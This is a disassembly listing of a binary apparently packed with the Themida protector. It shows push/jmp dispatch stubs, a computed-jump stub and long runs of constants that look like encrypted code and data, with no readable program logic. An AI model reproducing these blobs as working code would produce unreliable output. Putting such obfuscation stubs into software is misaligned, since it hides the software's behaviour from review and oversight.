; ---------------------------------------------------------------------------
		push	6182070h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61821F8h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6182272h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	618232Dh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61823F3h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6182497h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	618254Ah
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	618269Ah
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6182786h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	61828AAh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6182999h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6182ABBh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6182C1Fh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6182DBFh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6182EA7h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		dw 3D2Bh
		dd 1DCA5C32h, 7BEA3C12h, 5D841E74h, 0BEAAFC52h,	0A348DBB1h
		dd 93F9F672h, 74DAD511h, 583E3132h, 3D131CCEh, 629087FBh
		dd 0E1C97E6Fh, 814370B4h, 3B257F8Eh, 8F1E11D0h,	0CC6D2351h
		dd 4FC0B0E4h, 0D5A7B28Ch, 0A4DA2351h, 99919E4Eh, 856784B6h
		dd 0C45FD1C9h, 0DCCEE2DAh, 41AC09h, 0B47C0000h,	1C48386Ch
		dd 968CCB7Bh, 3F302DCFh, 1312610h, 6CF968Dh, 0C8347CEAh
		dd 0CBC4069Ch, 0C56A0E32h, 0D5A7B14Eh, 0C9009D2Bh, 0C9856915h
		dd 29373060h, 9DCCB15h,	10E5Dh,	5397ED00h, 43A6D45Ch, 66D28E81h
		dd 8CF5252Ah, 0C672CF96h, 968CA151h, 660AA6CFh,	851F4BB7h
		dd 964A535Ch, 968CD101h, 56DA56CFh, 0C2DBD40Ch,	5ADD32DCh
		dd 8D9239Eh, 0F00C260h,	0ABA4A6FEh, 0D776BEE5h,	0D20CCF95h
		dd 0F90B77DDh, 86BA434Ch, 29B6B0F2h, 0B2222789h, 0D22B5973h
		dd 8BC7937Dh, 0A7959F84h, 0A19DF7D5h, 0AD5DF2AEh, 0BAC98583h
		dd 3F4D6A0Eh, 84D03859h, 7E7E98D4h, 0C786AD2Fh,	94F01EB5h
		dd 0F977C984h, 0FF1955B1h, 0AB6C7E8Fh, 92562025h, 58D0009Dh
		dd 98676CF7h, 1B24A2CFh, 7FC7501Ch, 0BE2C2320h,	5B9D4DC2h
		dd 1EAACF94h, 530FBD1Ah, 480E01C1h, 5B8B8CF8h, 0E8CF945Bh
		dd 5A8ED45Ch, 6FBEB1B1h, 0CDB643F1h, 25894D8Fh,	119012D8h
		dd 0AD9B0000h, 8DBAECA2h, 0EB5ACC82h, 0CD74AEE4h, 2E1A8CC2h
		dd 13386B21h, 236966E2h, 44A4581h, 0E8AEA1A2h, 0CD838CBEh
		dd 0F220374Bh, 71C97E6Eh, 8743E024h, 0E660C288h, 6529A3E9h
		dd 0E8E6137Bh, 4D25FEB6h, 1C4C18E0h, 0A782047Bh, 67D361D5h
		dd 2B100079h, 0A9C1C04Ah, 2AA559F0h, 0A0F0C985h, 8D85B9A7h
		dd 9DCD09DCh, 93000000h, 7F8E8143h, 78A23D25h, 2A2223C2h
		dd 9C0A053Dh, 70B89F6Eh, 2CF9637h, 2793CFC0h, 962F0230h
		dd 0BFF301CFh, 121DCF59h, 2E7A468Bh, 4C76DD72h,	0C573D5A7h
		dd 5206E28Fh, 0F8D571E6h, 2E5ACF98h, 2F202072h,	40B3F69h
		dd 4D5206F5h, 9D499289h, 10D2h,	2A606FD5h, 0E444BF8h, 0F0A6A994h
		dd 0D6BCB3B6h, 0B59B944Ch, 2818C972h, 37377127h, 17D05238h
		dd 76F03218h, 69811379h, 7E6D38E6h, 5656CFC9h, 0C2888743h
		dd 0D5050A46h, 27CF968Ch, 60D02D22h, 75DD563h, 0A84CAC5h
		dd 7F8E8143h, 5E343B25h, 0F71619C4h, 0CCBCB3ADh, 1428B7B6h
		dd 91898770h, 87B944F2h, 0EEC88DF3h, 0CB87D33Dh, 0D2DD059Fh
		dd 1116F95Eh, 190BD5A7h, 64DC212Eh, 6394BBF6h, 7AC10F39h
		dd 0D707089Eh, 6CDDFAD7h, 61F6A2D0h, 0E40BDA0Eh, 0E85635D3h
		dd 80329B05h, 7A468B12h, 0A8DD722Eh, 41DE20EDh,	8D0B4733h
		dd 2E4CBC5Fh, 0FA282F53h, 9DDF888h, 0FF254DFBh,	0B59CD24Dh
		dd 643DE79Fh, 0F868BAF6h, 0CB5D83F7h, 0EFB1619h, 0BE78D111h
		dd 0FF8F96Dh, 35330000h, 15D2543Ah, 73F2341Ah, 558C167Ch
		dd 0B6B2F45Ah, 0AB50D3B9h, 8BC1CE7Ah, 6C222D19h, 5006093Ah
		dd 351B14D6h, 5A888FE3h, 0E9C97E6Ch, 814348BCh,	0F6D27F8Eh
		dd 5661F6A2h, 1BD5A798h, 0C95BA7EDh, 0D9F71619h, 2491F99Ah
		dd 0C1A9271Bh, 68D88C54h, 6C63E63Ch, 8D8C2304h,	0CBE9CF96h
		dd 5635EC76h, 8667955Eh, 95BC8F43h, 3460DECFh, 95BCF323h
		dd 252070CFh, 0FF6DD32Ah, 0FCE265BBh, 0FCD3FC8h, 6086h
		dd 1FCA5800h, 0DF538D10h, 386CB4ADh, 76F21C48h,	0CFCDA5D0h
		dd 0DC29D97Eh, 823ECF95h, 0A57877F0h, 848BF7BBh, 0D5A72990h
		dd 9BE959D7h, 91F1A7A8h, 40876B77h, 678E54ADh, 0B8262488h
		dd 280F6377h, 0C984F4F8h, 91C7C87Ah, 6FDBD417h,	82B25961h
		dd 3032E955h, 76F7813Fh, 0F2783179h, 0F12h, 0A86CB498h
		dd 1E312848h, 0CF95B3F0h, 22DBF977h, 2F1B8964h,	0AE639B28h
		dd 2C1CA8D5h, 6C8B14D6h, 0B922BFC5h, 95F55BC9h,	0ADC7C87Fh
		dd 0FF61BCB3h, 0F0FF69BBh, 0A0A3F12Dh, 8EE25EAFh, 211145A3h
		dd 811C13D3h, 73AFDB5Fh, 9644CB07h, 0ADC97E62h,	624AF81Fh
		dd 0ABD9C97Eh, 7EA860C7h, 314FCF96h, 3B343341h,	0BDF5FA69h
		dd 3E313341h, 131CCE58h, 2F7B458Ah, 71B15573h, 90065BBAh
		dd 0B5484786h, 2F9BE78Bh, 0D656AD5h, 0A7011D2Ah, 250E2AD5h
		dd 1CDB8663h, 40C7D240h, 0F48F5EC0h, 0E702317h,	8DBB0000h
		dd 0ED5ACC82h, 0CB7AACE2h, 2D148EC4h, 0E3A6C22h, 33D84B01h
		dd 3494682h, 0E4AAA5A1h, 0C88E8142h, 0ADE3EC5Eh, 0D200176Bh
		dd 51C97E6Bh, 8CBEC0C4h, 11CF968Ch, 7BB7E3B7h, 6A89D15Dh
		dd 8CE4DCF7h, 0AE9A79ABh, 6728ED5h, 177D72ECh, 415C538Dh
		dd 70248Ch, 8F86840Fh, 6C7C9ACFh, 0BC6AEDD3h, 4BCF8D17h
		dd 67FA1F3Dh, 629E3971h, 46260697h, 994D9E89h, 0DF6h, 563C3331h
		dd 321817CCh, 147A75F0h, 0F2585792h, 0D9BFB0B0h, 0CC74A54Eh
		dd 2B1B8DC3h, 0B346E24h, 6AD44E04h, 95E52F65h, 7E6A5482h
		dd 4242D3C9h, 7F8E8143h, 44343B25h, 8CD70708h, 0D06CCF96h
		dd 63B58158h, 0EBC6FEE0h, 93880FCDh, 5E000008h,	8D101FC4h
		dd 0B4ADDF53h, 0A555FA6Ch, 0A2CF968Ch, 0A7A89816h, 0D5AEA882h
		dd 47F798D4h, 0DCC97E70h, 51EFC8A0h, 595693E1h,	68949C44h
		dd 0C3281Ah, 0D442FE0Fh, 353A247Eh, 70BD71E8h, 0F711C97Eh
		dd 9B1EACDDh, 0BD98901Fh, 0C44B0753h, 0CF8F87BBh, 59569080h
		dd 0ABAC9C44h, 0CF8D727Bh, 33CE7C88h, 8946A420h, 3BC377D4h
		dd 6E00000Dh, 7A1F7F8h,	1F89CFC0h, 396B212Eh, 0D7510708h
		dd 0ED361C13h, 0A6A99948h, 0B9B6B6F0h, 999651D3h, 0F8F771B3h
		dd 67E80092h, 0C97E69B7h, 65D5D74Ch, 2114967Bh,	6DD32A25h
		dd 17E3966Fh, 9647D200h, 0B52351CFh, 0AAA5A7FDh, 0B3BCA4FEh
		dd 0EB82F66Ah, 0E8585791h, 59A4AB9Ah, 8CDA93E7h, 8FB7A9BAh
		dd 0C30FCDAEh, 7BEh, 8C8CBE69h,	0B711CF96h, 0BDA0B7E3h
		dd 0E9D5AEA8h, 706C9ABDh, 0A9FBC97Eh, 7307B5BAh, 1C13CC44h
		dd 0E660B2EEh, 0C701A3E9h, 9DC935C8h, 7E704CFAh, 0C5ADDBC9h
		dd 1168068h, 0C97E70D1h, 2A292623h, 7A8E810Eh, 39B71804h
		dd 2FB8DF8Bh, 34CF8F0Fh, 3CD469B8h, 0C7248946h,	0C7513h
		dd 0BDB2B000h, 99964DD7h, 0FBF471B3h, 0D9D61395h, 3E313173h
		dd 0F726CF58h, 8C167C73h, 0AFF95F50h, 4BDDB3BCh, 76C09699h
		dd 69E5153Ah, 3162C97Eh, 8E8143F3h, 0D00C66D2h,	0FD12CEDFh
		dd 0CF968C4Dh, 13CAAEDAh, 8D101FC9h, 6EBFB0B7h,	0C5D8D716h
		dd 0A7859E92h, 9A7A8DC3h, 36D7D808h, 20E4660Ah,	6E0FCDEBh
		dd 6FAh, 386CB43Eh, 0A977C748h,	304CD5AEh, 3F303240h, 0F61DCF59h
		dd 0B58DE877h, 4D0079Eh, 5BC97796h, 1B538742h, 8E6AC97Eh
		dd 0DEE96EDAh, 63CF8F26h, 0C43DC4D5h, 0D4298946h, 0BD166h
		dd 616ED400h, 454AF92Bh, 0A7A8950Fh, 0BDB2B7F1h, 9A954DD7h
		dd 1BCA73B4h, 386A202Fh, 0DB4D030Ch, 0F7316768h, 82147A75h
		dd 6839E96Eh, 55CEC97Eh, 8E814357h, 898640D2h, 343B2874h
		dd 0B1F977E9h, 0ADA29CF8h, 841E0A50h, 8AB65758h, 0A9B7B0E6h
		dd 0FCDEB95h, 665DDh, 91BE6300h, 14CF968Ch, 0A7A898CCh
		dd 0D5AEA8B4h, 0F9292E9Ah, 0EC97E70h, 0E311BEF2h, 0E5D7BB7h
		dd 4FC21D6Fh, 0A1A3C1A9h, 8CBEE8AEh, 1C20CE41h,	8927C97Eh
		dd 69C821Bh, 0F31CCC3h,	1C0E3C53h, 0E715C97Eh, 0E5AA693h
		dd 4D4E3D52h, 2D5BCF8Fh, 46FE63DCh, 44F24B89h, 0B1Eh, 7ED4DB09h
		dd 5A303F24h, 3C121DC8h, 1A707FEAh, 1575888h, 944C7DA6h
		dd 0F373B59Bh, 0D30C96FCh
		dd 322C76DCh, 0ADDD573Dh, 7E677CAAh, 6A9A8BC9h,	7F8E8143h
		dd 0E9343B25h, 44595693h, 3AC3CC78h, 0FAD86B3Dh, 9C5AED3Bh
		dd 929D49A2h, 0F1A7D50Bh, 0CDEF576Fh, 16B1B0Fh,	21AF0000h
		dd 0B342B219h, 591BB806h, 0B736C2C0h, 35A597B5h, 93222836h
		dd 81436D9Fh, 3B257F8Eh, 90E25E34h, 924E5F50h, 155B39Eh
		dd 0B2FD3E51h, 56E2D5A7h, 781F4BB7h, 0C98567CAh, 0E0472B59h
		dd 0C985682Eh, 0FE1E297Fh, 675D8D82h, 5EEAC985h, 0CE6C50DAh
		dd 0FD2909DCh, 24ABA4A7h, 0C9856FF6h, 44BBFF0Dh, 25h, 386CB414h
		dd 0B150C748h, 0E715D5A7h, 690FC306h, 0CA5EC985h, 0CB1F2739h
		dd 0CA5809DCh, 0EA1D151Ah, 0D3h, 8E8143B2h, 71F1037Fh
		dd 46A7A89Ah, 0AF916C9Ah, 0A6A999CBh, 0CCC37D47h, 0C9C6069Ch
		dd 0B2AC88A1h, 78B0D7BDh, 0ACF96B8h, 0D081D7D8h, 96EC5C08h
		dd 818EBF54h, 2256C47Ch, 1113B1A6h, 9814D5AAh, 23EE5AA8h
		dd 8308FE2Ch, 79F705C9h, 2DF78F09h, 0C53FC6E4h,	69D94BADh
		dd 0EF7A0CF6h, 6C9A13F1h, 5C7AAE9Dh, 95419A8Fh,	9CEh, 2E646BD9h
		dd 0A404FF4h, 0ECA2AD98h, 0CA808FBAh, 0B1E7E858h, 241CCD76h
		dd 3C3652Bh, 63DC460Ch,	42FC266Ch, 7D8D074Dh, 7E672CDAh
		dd 3A6A3BC9h, 4EC87B65h, 9576D663h, 4E83479Dh, 0F8050A34h
		dd 0A523D378h, 7020CF95h, 3B25F8F7h, 0C9391F8Dh, 98F9A3CFh
		dd 4236C045h, 63292620h, 76A4ABE7h, 8DCF965Bh, 43C13B7Fh
		dd 257F8E81h, 2A5E343Bh, 446h, 386CB470h, 41861C48h, 36052A4Eh
		dd 33D5A7A0h, 9C3A7885h, 0B870E26Bh, 98BFF3D4h,	0C984C666h
		dd 0F8E661B7h, 9DC29C4h, 1C88Ah, 93BE5200h, 16CF968Ch
		dd 0ADA29ECAh, 0D5AEA8C0h, 0B5CFBBC9h, 0EAE5608Bh, 528C167Ch
		dd 7DE3ED5Dh, 2F18BE10h, 418E5FD3h, 59473367h, 0E95B4D3Ch
		dd 3BD907E6h, 87EB3330h, 1967D47Bh, 0C07CCF8Fh,	462A1431h
		dd 33270489h, 8E2h, 3A101FC5h, 1E747BE8h, 565984h, 0E6ACA3A6h
		dd 0C58B84BCh, 0D808B962h, 272781D7h, 7C06228h,	66E04208h
		dd 99912369h, 7E6548F6h, 4646DFC9h, 7F8E8143h, 44343B25h
		dd 0EC313E2Eh, 846D3C74h, 0DB05C344h, 0C8FC7ED4h, 860FCDEFh
		dd 12Dh, 8E814356h, 40D7037Fh, 0CF968C92h, 0FC91FF90h
		dd 0D3F028BBh, 5597CDA5h, 7B45F45Ah, 0CB07732Fh, 95B39644h
		dd 1B1FADCFh, 0A6D9F334h, 415CE8D5h, 84905486h,	0F40FA1C9h
		dd 0DC17D2EAh, 2C9C09h,	0B42C0000h, 6F60DC6Ch, 998E81F1h
		dd 0DED5A7B0h, 4AFC5BA2h, 9BC98568h, 7EB7A12Fh,	0BA7B01E4h
		dd 0B9A7A0F6h, 9DCB285h, 0AACDh, 81439300h, 8140D28Eh
		dd 39257F8Eh, 0FB69D736h, 0AA9EE6B7h, 0C27C58A5h, 7AE430CDh
		dd 0D0781F75h, 4CF96DFh, 399747C8h, 10ACCF96h, 1718CA18h
		dd 0CC81041h, 15E87E13h, 58088600h, 0AA0A9937h,	6728ED5h
		dd 0EF9545CAh, 6692C982h, 293F0278h, 111958E2h,	0A4AB9FF5h
		dd 838CB4EEh, 5CC7E376h, 2016F78Fh, 7BEh, 1E747BE9h, 0FA505F84h
		dd 0DCB2BDA8h, 0BA909F4Ah, 0A1F7F868h, 342CDD06h, 13D3553Bh
		dd 73EC361Ch, 528C167Ch, 4DBDF75Dh, 7E651CCAh, 0A7A2BC9h
		dd 0C2888743h, 0D60DE660h, 0EE1CC4D9h, 18CA58A8h, 43E96317h
		dd 1BCB4C81h, 28CF968Dh, 459F6E9Ch, 8ABE949Bh, 252h, 0FA6CB4D0h
		dd 968CA555h, 72F2A2CFh, 0E151CF7Dh, 0AEA95D6Eh, 1A56E2D5h
		dd 4C515E88h, 0ACD9C94h, 0C97E70D8h, 6E70F325h,	9D5F356h
		dd 1F718h, 93BEA000h, 16CF968Ch, 0ADA29ECAh, 0D5AEA912h
		dd 7DA99917h, 452D2227h, 76222D1Fh, 4A2E211Ch, 13AA424h
		dd 0AA8BAA33h, 45F3FC64h, 9E75F72Dh, 0E934A2ADh, 0E7E85FB5h
		dd 0FB56DA06h, 0AD19491Dh, 0E9F9057h, 8C8340D2h, 84ABCF71h
		dd 0CF8F2297h, 0A19BD1FFh, 0FA6F9180h, 1EEB19B6h, 8946EDCDh
		dd 0CF62E835h, 0DA000006h, 0FB2D636Ch, 9B0D434Ch, 0B5EFA5AAh
		dd 5BCD838Ch, 79AAE0EFh, 323D25D4h, 151ACA5Ch, 757AE53Fh
		dd 545B851Fh, 0D344B4FEh, 0C97E6423h, 43317320h, 66D28E81h
		dd 968C41F1h, 0C6AAC6CFh, 1C13CD17h, 67E02881h,	0E2A8A7A1h
		dd 0CDEFA498h, 5293E10Fh, 39A2D55Dh, 4A000001h,	7F8E8143h
		dd 61F63B25h, 0CF968CB1h, 7AACAAB6h, 40F28B3Fh,	43EEA4D2h
		dd 33413165h, 0EA8EAD32h, 0FFF07C1Dh, 0BADD2941h, 0D5A6D079h
		dd 0CCBD26Eh, 0C984C5DAh, 6C72F52Bh, 9DC2C58h, 3116h, 6CB4A600h
		dd 50C74838h, 15D5A7B1h, 0FC306E7h, 5EC98569h, 6DD939CAh
		dd 85683CEAh, 0F5BDCBC9h, 0DCCB4F77h, 0A30309h,	4DA70000h
		dd 0D0009D92h, 7B652258h, 62C1091Ah, 8321496Eh,	0F4124E41h
		dd 6A7585A6h, 8059D1E3h, 7A838CB4h, 0DE2F2022h,	54B4486h
		dd 9681C65Eh, 6D62DCCFh, 0FAAE0A27h, 3CEB898Eh,	0C07CD5A9h
		dd 2DC60290h, 7DE33A35h, 85333C2Bh, 858ABFD5h, 29198BEDh
		dd 0EDE8CB26h, 0AF7C8F5Ch, 5ADBBh, 454AF800h, 0A1AE950Fh
		dd 838CB9EBh, 0E1EE5BCDh, 0C6C979ABh, 3FEE1790h, 0D44E040Bh
		dd 0F7316768h, 93157B74h, 0BEF85E51h, 631DCD42h, 792AC97Eh
		dd 8887430Bh, 0DE660C2h, 0FDADDBD4h, 0DEA8A7A7h, 0EB0D656Ah
		dd 8E814391h, 72F1037Fh, 47A6A999h, 3E926B99h, 45E5CBC6h
		dd 0A0C8465Ah, 89CFC002h, 9C4ACD39h, 0ABCF9591h, 2B21151Dh
		dd 4B000000h, 7F8E8143h, 9CF63B25h, 0F826ADA2h,	0FCF968Ch
		dd 0FBA43F1h, 0D20EEE79h, 968C8DBDh, 0A6E9ACFh,	2B616ED8h
		dd 2117h, 81432500h, 46F4FB6Ah,	414EF80Ah, 26D97029h, 5CCF968Dh
		dd 1C13D220h, 85DB5F81h, 959A4482h, 81434DBFh, 8D1BCB4Ch
		dd 9C28CF96h, 56B29F6Eh, 8C9F4FC0h, 8A4CF96h, 0D223190Ah
		dd 8A384E83h, 1E6462DEh, 9A8BDDD5h, 0B8C76800h,	8DD5AE1Eh
		dd 0BDD7037Fh, 0DA088F80h, 69C97DF5h, 0D92B57DBh, 0F82A606Fh
		dd 0F711414Eh, 242BA0B2h, 0C97E0BF6h, 6DD1FF0Dh, 431A1EAAh
		dd 7EE6228Eh, 0D5CEBD37h, 51A39F0Dh, 74909897h,	95B229E3h
		dd 0C6B2CECFh, 0D7BDB2ACh, 19C934Dh, 4847871Dh,	0DB96904Ah
		dd 4C2484B7h, 0E75307E1h, 735AB8F9h, 92E614A5h,	0C252E176h
		dd 5A44D5A6h, 0AA58ADE3h, 0BE191153h, 0B882F702h, 0C9128F5Eh
		dd 4491Dh, 0E9E65C00h, 0CDC201A3h, 2F201D87h, 50A3F69h
		dd 626DD54Fh, 0A352FB2Ch, 40E2A8A7h, 63C58B84h,	7FA9EFE0h
		dd 0A8CC2CDh, 60B161F6h, 0DDB6C97Eh, 8E8143AFh,	9CD134D2h
		dd 0AD707FEEh, 408C95B3h, 757AE5BFh, 9EC0A8A8h,	65D5DA04h
		dd 5DD5DA0Fh, 0B9B6B08Ch, 818EBBC9h, 117730E9h,	0FD16D016h
		dd 76DC4A45h, 0CD5ED0F4h, 4C9E0Fh, 0B42E0000h, 0C748386Ch
		dd 0D5A7DB51h, 54AE9A16h, 0D907E6E9h, 6CDF3551h, 0D6062D63h
		dd 1CC9853Eh, 0D71AC922h, 853E9240h, 0F56391C9h, 0D4BA2828h
		dd 0A29E9152h, 979B9450h, 0EB6CD8C6h, 0C9853E3Bh, 7DEABCC8h
		dd 0FDB5AB72h, 39149h, 81431300h, 8D1BCB4Ch, 9C28CF96h
		dd 9B459F6Eh, 0E768A494h, 0CF968C37h, 2DDD72CCh, 3ACF968Dh
		dd 0F618108Eh, 79297D5Bh, 0A7B315D6h, 6FBECAD5h, 1BD9C733h
		dd 7F0910C3h, 0AD5D8D02h, 5EEAC984h, 0ADC175DAh, 9C0CC984h
		dd 34B1958Bh, 31E109DCh, 8F000000h, 48386CB4h, 0A7B150C7h
		dd 6E715D5h, 85690FC3h,	39CA5EC9h, 0DCCB1F27h, 0C65309h
		dd 0E9F70000h, 0D97E62FFh, 0C984C829h, 8284823Eh, 5BB1F92Eh
		dd 7F8E8143h, 0EB323D25h, 0E8585791h, 390F02EEh
		dd 86EA8731h, 5C538DD7h, 188751F6h, 33DCF96h, 62DC460Ch
		dd 55B3906Dh, 0F9E4CC3h, 17A5CF96h, 5ECCC37Dh, 1A026DE2h
		dd 0E907D5A7h, 7E2AF6A3h, 0C8690D02h, 23ADCF98h, 668FBBECh
		dd 624D255Ah, 0D8089AD6h, 232781D7h, 0C6A2DD2Ch, 3516894Dh
		dd 2A901h, 4946FC00h, 0ADA2A103h, 8F80BDE7h, 0E5EA5FC9h
		dd 0C2CD75AFh, 0C3F21B8Ch, 0E0420807h, 83256B64h, 9F094F40h
		dd 0AAECA2ADh, 6011C156h, 7D16C97Eh, 0EC7B650Fh, 45B83F1Ah
		dd 7DE53F73h, 75EC0672h, 70D0367Ah, 40282722h, 1ECB2022h
		dd 53ADE311h, 48386CB4h, 0A7B150C7h, 6E715D5h, 85690FC3h
		dd 39CA5EC9h, 0DCCB1F27h, 0B45309h, 0BBF70000h,	85746694h
		dd 2B4FFDC9h, 1E8143D1h, 0FC93FFDAh, 0CF966C4Eh, 5FB9A7D5h
		dd 38FE9CCBh, 4BBAE392h, 52AA73E1h, 0C5049996h,	0CF9655FBh
		dd 0FA505F89h, 6CB1BEA8h, 1D4D19E7h, 0A75F117Ah, 0B49A16D5h
		dd 4DFF3B85h, 10929E9Ah, 717EEFB9h, 0BD5B97C3h,	6880BFDBh
		dd 0E84F233Eh, 0CF989C67h, 821040FCh, 82BE4F40h, 0C00092EEh
		dd 2B1F89CFh, 8DCCD524h, 8764894Dh, 1C153h, 717EE400h
		dd 555A891Bh, 0B7B8A5FFh, 8D8247E1h, 0EAE55DC7h, 2BDA03A4h
		dd 0C85A303Fh, 0EB3D131Ch, 87217778h, 0B2044A45h, 5F29D97Eh
		dd 653EC97Eh, 88874327h, 0E9E660C2h, 814329A3h,	85037F8Eh
		dd 0CBB61A65h, 2A78302Eh, 297B3738h, 68E8353Ah,	3662DE00h
		dd 95ACF121h, 0B6FA76CFh, 20FDF26Ch, 8F01C523h,	26291892h
		dd 68FAB338h, 0D2898EFAh, 97D5A713h, 0C95F8419h, 414EF83Eh
		dd 0D6826E0Bh, 1F0AF59Ah, 0F10FCF96h, 0A29CF62Ch, 64929D49h
		dd 91D3A799h, 12455857h, 0EC34051Eh, 0FB9CC8B8h, 0CF95DA4Bh
		dd 6FAEACD8h, 0C0370C37h, 5FF00C64h, 0D5A70874h, 2385CB79h
		dd 111ECA21h, 1C21AE3h,	23E778EAh, 0C602C8E0h, 0C0DD4BF9h
		dd 3CFA0D13h, 0C75D0D02h, 660A05h, 0FAF57280h, 693D9BB6h
		dd 0C9611639h, 0EA06CF95h, 101FC913h, 3730508Dh, 0B2EEBA06h
		dd 14E9E660h, 0E0EF5A2Ch, 334F231Dh, 56848BC7h,	0EDCF95C8h
		dd 3F74DB5Fh, 24D5A6FBh, 4997C288h, 0BB424DF9h,	39588785h
		dd 0AC203F53h, 0FC16423Eh, 8EB24B44h, 578745EAh, 0D460CF9Dh
		dd 0F699D5C9h, 0CF8D4248h, 92B1BEAAh, 16D01266h, 0BDD73319h
		dd 3F8C8A85h, 4A34AC01h, 0D7115327h, 7102C5D8h,	0EE2DE838h
		dd 9D4F899Ah, 364CBC92h, 7FE13C33h, 707FE93Bh, 9D9257ADh
		dd 6093400h, 0AFA09DE7h, 849FE15Eh, 257F2BA6h, 0AAE8353Ah
		dd 42AF75A5h, 0C846F271h, 678689BEh, 0E47FB1F9h, 9747C804h
		dd 0AC7142AFh, 18CA1810h, 61BD5B17h, 0A8031A23h, 44DE0068h
		dd 0C208959Ah, 12h, 0DED10C66h,	2E2111CFh, 7142F500h, 4B81E907h
		dd 85430686h, 3F29738Ah, 5497ED30h, 0CA7A425Bh,	64DC38C5h
		dd 9E4A926Bh, 31300C91h, 0A895EF3Eh, 0C97E46A7h, 683727C6h
		dd 22BAh, 53241489h, 0C381E389h, 4, 4EB81h, 1C870000h
		dd 3C895C24h, 51D76824h, 34890000h, 0C9685524h,	8B49AD33h
		dd 0C481242Ch, 4, 0E99FC581h, 0EF89BC6Ah, 348B545Dh, 4C48324h
		dd 5B768h, 243C8900h, 0FF08468Fh, 815E2434h, 4C4h, 2434FF00h
		dd 4C4835Fh, 0F94D0AE9h
		db 0FFh, 39h, 12h
; ---------------------------------------------------------------------------


loc_5BCCBB:				; CODE XREF: Themida_:loc_5BB87Fj
		mov	eax, 618308Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 51DDA17Bh, 500B1CD6h, 7A998A71h, 75F527CBh, 21F06DD7h
		dd 6CBC2C72h, 347C1C53h, 17D26E3Ch, 525F1974h, 78406075h
		dd 6DC7235Bh, 142A96FCh, 9615BF6h, 60EFB4EFh, 25ADFA5Ch
		dd 13B809C4h, 6D185C6h,	68560611h, 0A9C530DFh, 0FD1B5FFh
		dd 858D0611h, 614747Fh,	8D8DD0FFh, 6113425h, 0FF406A51h
		dd 1117B5B5h, 79B5FF06h, 0FF061134h, 0B5B5FFD0h, 0FF061117h
		dd 113479B5h, 0FE806h, 49B30000h, 0F0AA32Fh, 1AE8A716h
		dd 30B78440h, 83585845h, 2CC104E8h, 24C10224h, 4030224h
		dd 241CF724h, 3C8BC933h, 8C78108h, 815957F5h, 0DC6233C7h
		dd 41EF8165h, 577097B3h, 8108048Fh, 0F55445E9h,	41C18144h
		dd 3B44F554h, 850F240Ch, 11h, 21E9h, 0EEBDF500h, 8F8CEDC9h
		dd 317988A9h, 0FFBCE99Ch, 0D1F3FFFFh, 10DD5BF4h, 4665B79Fh
		dd 61105F42h, 9D8D5047h, 6112025h, 0C00B038Bh, 7840Fh
		dd 38B0000h, 89045B8Bh,	0E8C98B18h, 9, 3512C25Dh, 72F01BC0h
		dd 626ABBE6h, 80581D5Dh, 0C0811ACBh, 6839h, 8FDE8166h
		dd 66D22B29h, 3C8BF18Bh, 840F10h, 81000000h, 939B79EFh
		dd 0C6816674h, 0F7813D6Ch, 70A2E2Ah, 81B0DD80h,	7CD6A1C7h
		dd 0C5BE6631h, 103C890Eh, 0FF08B66h, 0EA83D9B7h, 8103B104h
		dd 0FF982CFAh, 0BF850FFFh, 81FFFFFFh, 0ED2381C6h, 0DE826h
		dd 15130000h, 210DA28Bh, 0F6E55431h, 0B94DC226h, 100A8F70h
		dd 3CE1815Fh, 812659EEh, 6D8BC7h, 0A830F00h, 60000000h
		dd 0B354D2BAh, 0C9BF0F4Dh, 60CEBE61h, 0EE812C36h, 2C3645A5h
		dd 37FFFA8Ah, 0DE8h, 88AB5000h,	5C0CF6DBh, 2BBDA0F3h, 8E83E31h
		dd 70000000h, 9EFB55A8h, 60E2A2DEh, 5A595961h, 7E9h, 6179D800h
		dd 71EACB4Eh, 8B1EEA81h, 26B04D77h, 20F3EA81h, 0EA8118D2h
		dd 4E3EF8CAh, 188D0Fh, 0CE80000h, 62000000h, 1A7F1189h
		dd 0FE36D3CDh, 8111A9F6h, 0D9FD8AC8h, 0E9525913h, 0Bh
		dd 8E5E70F9h, 7D2D72C1h, 8F538D7Dh, 0F9EF8107h,	6065E47Bh
		dd 816117B5h, 0E47BF5C7h, 12E865h, 7C510000h, 83CCC8D5h
		dd 0DB524884h, 6A8ABB0h, 0C17082C0h, 8158DF8Bh,	1EEh, 53850F00h
		dd 8BFFFFFFh, 30E9D8h, 8AC70000h, 278Fh, 0Ah dup(0)
		dd 0E3E90000h, 68000004h, 61834D4h, 0F94A4AE9h,	354368FFh
		dd 40E90618h, 68FFF94Ah, 61836B9h, 0F94A36E9h, 515E84FFh
		dd 0B5BAA9FBh, 979845DFh, 0EDE267C1h, 0CAC57DA7h, 0CBFA2384h
		dd 0E83A101Fh, 8B1D737Ch, 0A7015758h, 52E4AAA5h, 5A09395Eh
		dd 51EC97Eh, 88874307h,	4FFB0975h, 0EF83BD40h, 0CE848BB5h
		dd 0BCD345A3h, 0CF968C8Eh, 0D60D6795h, 0EE1CC4D9h, 0AA929DB2h
		dd 59D7D5A7h, 6E518544h, 0C9CC985h, 0A8AF1BFBh,	0C9856E7Ah
		dd 0A7A89F89h, 46C9A46h, 0DCF13E06h, 0FE5D7B09h, 19EB6D04h
		dd 0AADC5170h, 78F63045h, 32CDF30h, 906D0000h, 7A2E8A49h
		dd 93A6090Eh, 0DBBD5A7h, 0ED823D5Ch, 1BE5C6EAh,	6BA7134Fh
		dd 222C36E4h, 8B8CCCD4h, 50315BDFh, 0CA6D05B3h,	0DA3379E9h
		dd 47BB42FEh, 60D6040Bh, 0DF6DD231h, 4612FE5Bh,	9B77050Ah
